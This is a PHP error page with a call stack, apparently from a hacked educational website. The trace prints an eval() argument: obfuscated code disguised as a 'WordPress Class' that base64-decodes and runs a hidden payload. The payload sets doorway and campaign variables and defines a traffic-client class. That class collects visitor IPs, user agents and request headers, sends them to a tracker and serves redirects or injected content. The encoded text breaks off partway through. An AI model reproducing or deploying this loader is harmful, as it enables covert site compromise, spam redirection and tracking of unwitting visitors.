( ! ) Notice: Undefined offset: 2 in /home/mytoolsshoppy/public_html/nes.edu.in/zehi/bqpj.php(143) : runtime-created function(1) : eval()'d code(156) : runtime-created function(1) : eval()'d code on line 739
Call Stack
#TimeMemoryFunctionLocation
10.0002362336{main}( ).../bqpj.php:0
20.0011421000__lambda_func( ).../bqpj.php:145
30.0014497632eval( ' $____='printf';$___________='WordPress Class...'; $___ = 'Y3JlYXRlX0ZVTkNUSU9O' ; $______= 'cmV0dXJuIGV2YWwoJF9fXyk7' ; $____ = 'base64_decode'; $___________='DQoJJGRvb3JfdHBsID0gImF1dG9fMjIwN18xIjsNCgkkbXlfY2FtcF9JRCA9ICJXYmNHTG03Yk15R3RmMjQxIjsNCgkkcGFja19uYW1lICA9ICIyMzA3X3ByZWNhY2hlZF9OT1NMQVNIIjsNCgkkdHh0X2ZpbGVuYW1lICA9ICJicXBqIjsNCgkNCg0KJG15X2dldF9hcnIgPSBhcnJheV92YWx1ZXMoJF9HRVQpOw0KJG15Zm5hbWUgPSAkbXlfZ2V0X2FyclswXTsNCgkNCmNsYXNzIEtDbGlja0NsaWVudA0Kew0KICAgIGNvbnN0IFNFU1NJT05fU1VCX0lEID0gJ3N1Yl9pZCc7DQogICAgY29uc3QgU0VTU0lPTl9MQU5ESU5HX1RPS0VOID0gJ2xhbmRpbmdfdG9rZW4nOw0KICAgIC8qKiBAdmVyc2lvbiAzLjUgKiovDQogICAgY29uc3QgVkVSU0lPTiA9IDM7DQogICAgY29uc3QgU1RBVEVfU0VTU0lPTl9LRVkgPSAna2VpdGFyb19zdGF0ZSc7DQogICAgY29uc3QgU1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWSA9ICdrZWl0YXJvX3N0YXRlX2V4cGlyZXMnOw0KICAgIGNvbnN0IERFRkFVTFRfVFRMID0gMTsNCiAgICAvKioNCiAgICAgKiBAdmFyIEtIdHRwQ2xpZW50DQogICAgICovDQogICAgcHJpdmF0ZSAkX2h0dHBDbGllbnQ7DQogICAgcHJpdmF0ZSAkX2RlYnVnID0gZmFsc2U7DQogICAgcHJpdmF0ZSAkX3RyYWNrZXJVcmw7DQogICAgcHJpdmF0ZSAkX3BhcmFtcyA9IGFycmF5KCk7DQogICAgcHJpdmF0ZSAkX2xvZyA9IGFycmF5KCk7DQogICAgcHJpdmF0ZSAkX2V4Y2x1ZGVQYXJhbXMgPSBhcnJheSgnYXBpX2tleScsICd0b2tlbicsICdsYW5ndWFnZScsICd1YScsICdpcCcsICdyZWZlcnJlcicsICdmb3JjZV9yZWRpcmVjdF9vZmZlcicpOw0KICAgIHByaXZhdGUgJF9yZXN1bHQ7DQogICAgcHJpdmF0ZSAkX3N0YXRlUmVzdG9yZWQ7DQoNCiAgICBjb25zdCBFUlJPUiA9ICdbS1RyYWZmaWNDbGllbnRdIFNvbWV0aGluZyBpcyB3cm9uZy4gRW5hYmxlIGRlYnVnIG1vZGUgdG8gc2VlIHRoZSByZWFzb24uJzsNCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdHJhY2tlclVybCwgJHRva2VuKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPnRyYWNrZXJVcmwoJHRyYWNrZXJVcmwpOw0KICAgICAgICAkdGhpcy0+Y2FtcGFpZ25Ub2tlbigkdG9rZW4pOw0KICAgICAgICAkdGhpcy0+dmVyc2lvbihzZWxmOjpWRVJTSU9OKTsNCiAgICAgICAgJHRoaXMtPnBhcmFtKCdpbmZvJywgMSk7DQogICAgICAgICR0aGlzLT5maWxsUGFyYW1zKCk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGZpbGxQYXJhbXMoKQ0KICAgIHsNCiAgICAgICAgJHJlZmVycmVyID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA/ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA6IG51bGw7DQogICAgICAgICR0aGlzLT5zZXRIdHRwQ2xpZW50KG5ldyBLSHR0cENsaWVudCgpKTsNCg0KICAgICAgICAkdGhpcy0+aXAoJHRoaXMtPl9maW5kSXAoKSkNCiAgICAgICAgICAgIC0+dWEoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA/ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSA6IG51bGwpDQogICAgICAgICAgICAtPmxhbmd1YWdlKChpc3NldCgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkgPyBzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sIDAsIDIpIDogJycpKQ0KICAgICAgICAgICAgLT5zZVJlZmVycmVyKCRyZWZlcnJlcikNCiAgICAgICAgICAgIC0+cmVmZXJyZXIoJHJlZmVycmVyKQ0KICAgICAgICAgICAgLT5wYXJhbSgnb3JpZ2luYWxfaGVhZGVycycsIGdldGFsbGhlYWRlcnMoKSkNCiAgICAgICAgICAgIC0+cGFyYW0oJ29yaWdpbmFsX2hvc3QnLCBpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pID8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIDogJ2xvY2FsaG9zdCcpDQogICAgICAgICAgICAtPnBhcmFtKCdrdmVyc2lvbicsICczLjQnKTsNCg0KICAgICAgICBpZiAoJHRoaXMtPmlzUHJlZmV0Y2hEZXRlY3RlZCgpKSB7DQogICAgICAgICAgICAkdGhpcy0+cGFyYW0oJ3ByZWZldGNoJywgMSk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gY3VycmVudFBhZ2VBc1JlZmVycmVyKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5yZWZlcnJlcigkdGhpcy0+X2dldEN1cnJlbnRQYWdlKCkpOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGRlYnVnKCRzdGF0ZSA9IHRydWUpDQogICAgew0KICAgICAgICAkdGhpcy0+X2RlYnVnID0gJHN0YXRlOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNlUmVmZXJyZXIoJHNlUmVmZXJyZXIpDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1snc2VfcmVmZXJyZXInXSA9ICRzZVJlZmVycmVyOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHJlZmVycmVyKCRyZWZlcnJlcikNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydyZWZlcnJlciddID0gJHJlZmVycmVyOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNldEh0dHBDbGllbnQoJGh0dHBDbGllbnQpDQogICAgew0KICAgICAgICAkdGhpcy0+X2h0dHBDbGllbnQgPSAkaHR0cENsaWVudDsNCiAgICAgICAgcmV0dXJuICR0aGlzOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiB0cmFja2VyVXJsKCRuYW1lKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl90cmFja2VyVXJsID0gJG5hbWU7DQogICAgfQ0KDQogICAgLy8gQGRlcHJlY2F0ZWQNCiAgICBwdWJsaWMgZnVuY3Rpb24gdG9rZW4oJHRva2VuKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5jYW1wYWlnblRva2VuKCR0b2tlbik7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGNhbXBhaWduVG9rZW4oJGNhbXBhaWduVG9rZW4pDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1sndG9rZW4nXSA9ICRjYW1wYWlnblRva2VuOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiB2ZXJzaW9uKCR2ZXJzaW9uKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9wYXJhbXNbJ3ZlcnNpb24nXSA9ICR2ZXJzaW9uOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHVhKCR1YSkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWyd1YSddID0gJHVhOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGxhbmd1YWdlKCRsYW5ndWFnZSkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydsYW5ndWFnZSddID0gJGxhbmd1YWdlOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGtleXdvcmQoJGtleXdvcmQpDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1sna2V5d29yZCddID0gJGtleXdvcmQ7DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZm9yY2VSZWRpcmVjdE9mZmVyKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydmb3JjZV9yZWRpcmVjdF9vZmZlciddID0gMTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gaXAoJGlwKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9wYXJhbXNbJ2lwJ10gPSAkaXA7DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZFV0bUxhYmVscygpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChzdHJzdHIoJG5hbWUsICd1dG1fJykpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+X3BhcmFtc1skbmFtZV0gPSAkdmFsdWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0TGFuZGluZ1Rva2VuKCR0b2tlbikNCiAgICB7DQogICAgICAgICR0aGlzLT5fc3RhcnRTZXNzaW9uKCk7DQogICAgICAgICRfU0VTU0lPTlsndG9rZW4nXSA9ICR0b2tlbjsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0U3ViSWQoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdC0+aW5mby0+c3ViX2lkKSkgew0KICAgICAgICAgICAgJHRoaXMtPmxvZygnTm8gc3ViX2lkIGlzIGRlZmluZWQnKTsNCiAgICAgICAgICAgIHJldHVybiAnbm9fc3ViaWQnOw0KICAgICAgICB9DQogICAgICAgICRzdWJJZCA9ICRyZXN1bHQtPmluZm8tPnN1Yl9pZDsNCiAgICAgICAgcmV0dXJuICRzdWJJZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VG9rZW4oKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdC0+aW5mby0+c3ViX2lkKSkgew0KICAgICAgICAgICAgJHRoaXMtPmxvZygnTm8gbGFuZGluZyB0b2tlbiBpcyBkZWZpbmVkJyk7DQogICAgICAgICAgICByZXR1cm4gJ25vX3Rva2VuJzsNCiAgICAgICAgfQ0KICAgICAgICAkc3ViSWQgPSAkcmVzdWx0LT5pbmZvLT50b2tlbjsNCiAgICAgICAgcmV0dXJuICRzdWJJZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZEFsbFBhcmFtcygpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+X3BhcmFtc1skbmFtZV0pICYmICFpbl9hcnJheSgkbmFtZSwgJHRoaXMtPl9leGNsdWRlUGFyYW1zKSkgew0KICAgICAgICAgICAgICAgICR0aGlzLT5fcGFyYW1zWyRuYW1lXSA9ICR2YWx1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiByZXN0b3JlRnJvbVNlc3Npb24oKQ0KICAgIHsNCiAgICAgICAgaWYgKCR0aGlzLT5pc1N0YXRlUmVzdG9yZWQoKSkgew0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fc3RhcnRTZXNzaW9uKCk7DQogICAgICAgIGlmICghZW1wdHkoJF9TRVNTSU9OW3NlbGY6OlNUQVRFX1NFU1NJT05fS0VZXSkpIHsNCiAgICAgICAgICAgIGlmICgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0gPCB0aW1lKCkpIHsNCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9LRVldKTsNCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0pOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ1N0YXRlIGV4cGlyZWQnKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQgPSBqc29uX2RlY29kZSgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9LRVldLCBmYWxzZSk7DQogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCR0aGlzLT5fcmVzdWx0KSAmJiBpc3NldCgkdGhpcy0+X3Jlc3VsdC0+aGVhZGVycykpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQtPmhlYWRlcnMgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdGhpcy0+X3N0YXRlUmVzdG9yZWQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ1N0YXRlIHJlc3RvcmVkJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzdG9yZUZyb21RdWVyeSgpDQogICAgew0KICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ19zdWJpZCddKSkgew0KICAgICAgICAgICAgJHRoaXMtPl9zdGF0ZVJlc3RvcmVkID0gdHJ1ZTsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+X3Jlc3VsdCkpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+X3Jlc3VsdCA9IG5ldyBTdGRDbGFzcygpOw0KICAgICAgICAgICAgICAgICR0aGlzLT5fcmVzdWx0LT5pbmZvID0gbmV3IFN0ZENsYXNzKCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkdGhpcy0+X3Jlc3VsdC0+aW5mby0+c3ViX2lkID0gJF9HRVRbJ19zdWJpZCddOw0KICAgICAgICAgICAgJHRoaXMtPmxvZygnU3ViSWQgbG9hZGVkIGZyb20gcXVlcnknKTsNCiAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnX3Rva2VuJ10pKSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQtPmluZm8tPnRva2VuID0gJF9HRVRbJ190b2tlbiddOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ0xhbmRpbmcgdG9rZW4gbG9hZGVkIGZyb20gcXVlcnknKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICR0aGlzLT5fc3RvcmVTdGF0ZSgkdGhpcy0+X3Jlc3VsdCwgc2VsZjo6REVGQVVMVF9UVEwpOw0KICAgICAgICAgICAgJHRoaXMtPl9zdGF0ZVJlc3RvcmVkID0gdHJ1ZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBpc1N0YXRlUmVzdG9yZWQoKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5fc3RhdGVSZXN0b3JlZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNQcmVmZXRjaERldGVjdGVkKCkNCiAgICB7DQogICAgICAgICRjaGVja1NlcnZlclBhcmFtcyA9IGFycmF5KCdIVFRQX1hfUFVSUE9TRScgPT4gJ3ByZXZpZXcnLCAnSFRUUF9YX01PWicgPT4gJ3ByZWZldGNoJywgJ0hUVFBfWF9GQl9IVFRQX0VOR0lORScgPT4gJ0xpZ2VyJyk7DQogICAgICAgIGZvcmVhY2ggKCRjaGVja1NlcnZlclBhcmFtcyBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlskbmFtZV0pICYmICRfU0VSVkVSWyRuYW1lXSA9PSAkdmFsdWUpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNhdmVDb29raWUoJGtleSwgJHZhbHVlLCAkdHRsKQ0KICAgIHsNCiAgICAgICAgaWYgKGlzc2V0KCRfQ09PS0lFWyRrZXldKSAmJiAkX0NPT0tJRVska2V5XSA9PSAkdmFsdWUpIHsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoIWhlYWRlcnNfc2VudCgpKSB7DQogICAgICAgICAgICBzZXRjb29raWUoJGtleSwgJHZhbHVlLCAkdGhpcy0+X2dldENvb2tpZXNFeHBpcmVUaW1lc3RhbXAoJHR0bCksICcvJywgJHRoaXMtPl9nZXRDb29raWVIb3N0KCkpOw0KICAgICAgICB9DQogICAgICAgICRfQ09PS0lFWyRrZXldID0gJHZhbHVlOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBwYXJhbSgkbmFtZSwgJHZhbHVlKQ0KICAgIHsNCiAgICAgICAgaWYgKCFpbl9hcnJheSgkbmFtZSwgJHRoaXMtPl9leGNsdWRlUGFyYW1zKSkgew0KICAgICAgICAgICAgJHRoaXMtPl9wYXJhbXNbJG5hbWVdID0gJHZhbHVlOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcGFyYW1zKCR2YWx1ZSkNCiAgICB7DQogICAgICAgIGlmICghZW1wdHkoJHZhbHVlKSkgew0KICAgICAgICAgICAgaWYgKGlzX3N0cmluZygkdmFsdWUpKSB7DQogICAgICAgICAgICAgICAgcGFyc2Vfc3RyKCR2YWx1ZSwgJHJlc3VsdCk7DQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJHJlc3VsdCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnBhcmFtKCRuYW1lLCAkdmFsdWUpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzZXQoKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9yZXN1bHQgPSBudWxsOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBwZXJmb3JtUmVxdWVzdCgpDQogICAgew0KICAgICAgICBpZiAoJHRoaXMtPl9yZXN1bHQpIHsNCiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+X3Jlc3VsdDsNCiAgICAgICAgfQ0KICAgICAgICAkcmVxdWVzdCA9ICR0aGlzLT5fYnVpbGRSZXF1ZXN0VXJsKCk7DQogICAgICAgICRwYXJhbXMgPSAkdGhpcy0+Z2V0UGFyYW1zKCk7DQogICAgICAgICRvcHRpb25zID0gJHRoaXMtPl9nZXRSZXF1ZXN0T3B0aW9ucygpOw0KICAgICAgICAkdGhpcy0+bG9nKCdSZXF1ZXN0OiAnIC4gJHJlcXVlc3QpOw0KICAgICAgICB0cnkgew0KICAgICAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5faHR0cENsaWVudC0+cmVxdWVzdCgkcmVxdWVzdCwgJHBhcmFtcywgJG9wdGlvbnMpOw0KICAgICAgICAgICAgJHRoaXMtPmxvZygnUmVzcG9uc2U6ICcgLiAkcmVzdWx0KTsNCiAgICAgICAgfSBjYXRjaCAoS1RyYWZmaWNDbGllbnRFcnJvciAkZSkgew0KICAgICAgICAgICAgaWYgKCR0aGlzLT5fZGVidWcpIHsNCiAgICAgICAgICAgICAgICB0aHJvdyAkZTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHNlbGY6OkVSUk9SOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fcmVzdWx0ID0ganNvbl9kZWNvZGUoJHJlc3VsdCk7DQogICAgICAgICR0aGlzLT5fc3RvcmVTdGF0ZSgNCiAgICAgICAgICAgICR0aGlzLT5fcmVzdWx0LA0KICAgICAgICAgICAgaXNzZXQoJHRoaXMtPl9yZXN1bHQtPmNvb2tpZXNfdHRsKSA/ICR0aGlzLT5fcmVzdWx0LT5jb29raWVzX3R0bCA6IG51bGwNCiAgICAgICAgKTsNCg0KICAgICAgICBpZiAoaXNzZXQoJHRoaXMtPl9yZXN1bHQtPmNvb2tpZXMpKSB7DQogICAgICAgICAgICAkdGhpcy0+X3NhdmVLZWl0YXJvQ29va2llcygkdGhpcy0+X3Jlc3VsdC0+Y29va2llcyAsICR0aGlzLT5fcmVzdWx0LT5jb29raWVzX3R0bCk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICR0aGlzLT5fcmVzdWx0Ow0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBleGVjdXRlKCRicmVhayA9IGZhbHNlLCAkcHJpbnQgPSB0cnVlKQ0KICAgIHsNCiAgICAgICAgJGNvbnRlbnQgPSAkdGhpcy0+Z2V0Q29udGVudCgpOw0KDQogICAgICAgIGlmICgkcHJpbnQpIHsNCiAgICAgICAgICAgICRoZWFkZXJzID0gJHRoaXMtPnNlbmRIZWFkZXJzKCk7DQogICAgICAgICAgICBlY2hvICRjb250ZW50Ow0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICRjb250ZW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCRicmVhayAmJiAoIWVtcHR5KCRjb250ZW50KSB8fCAkdGhpcy0+Y2hlY2tIZWFkZXJzKCRoZWFkZXJzKSkpIHsNCiAgICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gY2hlY2tIZWFkZXJzKCRoZWFkZXJzKQ0KICAgIHsNCiAgICAgICAgaWYgKGVtcHR5KCRoZWFkZXJzKSkgew0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQogICAgICAgIGZvcmVhY2ggKCRoZWFkZXJzIGFzICRoZWFkZXIpIHsNCiAgICAgICAgICAgIGlmIChzdHJwb3MoJGhlYWRlciwgJ0xvY2F0aW9uOicpID09PSAwKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoJGhlYWRlciA9PSAnSFRUUC8xLjEgNDA0IE5vdCBGb3VuZCcpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldENvbnRlbnQoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICAkY29udGVudCA9ICcnOw0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQpKSB7DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmVycm9yKSkgew0KICAgICAgICAgICAgICAgICRjb250ZW50IC49ICAkcmVzdWx0LT5lcnJvcjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICghZW1wdHkoJHJlc3VsdC0+Ym9keSkpIHsNCiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJHJlc3VsdC0+Y29udGVudFR5cGUpICYmIChzdHJzdHIoJHJlc3VsdC0+Y29udGVudFR5cGUsICdpbWFnZScpIHx8IHN0cnN0cigkcmVzdWx0LT5jb250ZW50VHlwZSwgJ2FwcGxpY2F0aW9uL3BkZicpKSkgew0KICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGJhc2U2NF9kZWNvZGUoJHJlc3VsdC0+Ym9keSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgLj0gJHJlc3VsdC0+Ym9keTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGNvbnRlbnQ7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNob3dMb2coJHNlcGFyYXRvciA9ICc8YnIgLz4nKQ0KICAgIHsNCiAgICAgICAgZWNobyAnPGhyPicgLiBpbXBsb2RlKCRzZXBhcmF0b3IsICR0aGlzLT5nZXRMb2coKSkuICc8aHI+JzsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gbG9nKCRtc2cpDQogICAgew0KICAgICAgICBpZiAoJHRoaXMtPl9kZWJ1Zykgew0KICAgICAgICAgICAgZXJyb3JfbG9nKCRtc2cpOw0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fbG9nW10gPSAkbXNnOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRMb2coKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5fbG9nOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBleGVjdXRlQW5kQnJlYWsoKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPmV4ZWN1dGUodHJ1ZSk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldFBhcmFtcygpDQogICAgew0KICAgICAgICByZXR1cm4gJHRoaXMtPl9wYXJhbXM7DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfc3RvcmVTdGF0ZSgkcmVzdWx0LCAkdHRsKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9zdGFydFNlc3Npb24oKTsNCiAgICAgICAgJF9TRVNTSU9OW3NlbGY6OlNUQVRFX1NFU1NJT05fS0VZXSA9IGpzb25fZW5jb2RlKCRyZXN1bHQpOw0KICAgICAgICAkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0gPSB0aW1lKCkgKyAoJHR0bCAqIDYwICogNjApOw0KDQogICAgICAgIC8vIGZvciBiYWNrLWNvbXBhdGliaWxpdHkgcHVycG9zZQ0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmluZm8pKSB7DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmluZm8tPnN1Yl9pZCkpIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bc2VsZjo6U0VTU0lPTl9TVUJfSURdID0gJHJlc3VsdC0+aW5mby0+c3ViX2lkOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkcmVzdWx0LT5pbmZvLT50b2tlbikpIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bc2VsZjo6U0VTU0lPTl9MQU5ESU5HX1RPS0VOXSA9ICRyZXN1bHQtPmluZm8tPnRva2VuOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfc2F2ZUtlaXRhcm9Db29raWVzKCRjb29raWVzLCAkdHRsKQ0KICAgIHsNCiAgICAgICAgZm9yZWFjaCAoJGNvb2tpZXMgYXMgJGtleSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgICR0aGlzLT5zYXZlQ29va2llKCRrZXksICR2YWx1ZSwgJHR0bCk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZEhlYWRlcnMoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICAkaGVhZGVycyA9IGFycmF5KCk7DQogICAgICAgICRmaWxlID0gIiI7DQogICAgICAgICRsaW5lID0gIiI7DQogICAgICAgIGlmIChoZWFkZXJzX3NlbnQoJGZpbGUsICRsaW5lKSkgew0KICAgICAgICAgICAgJG1zZyA9ICJCb2R5IG91dHB1d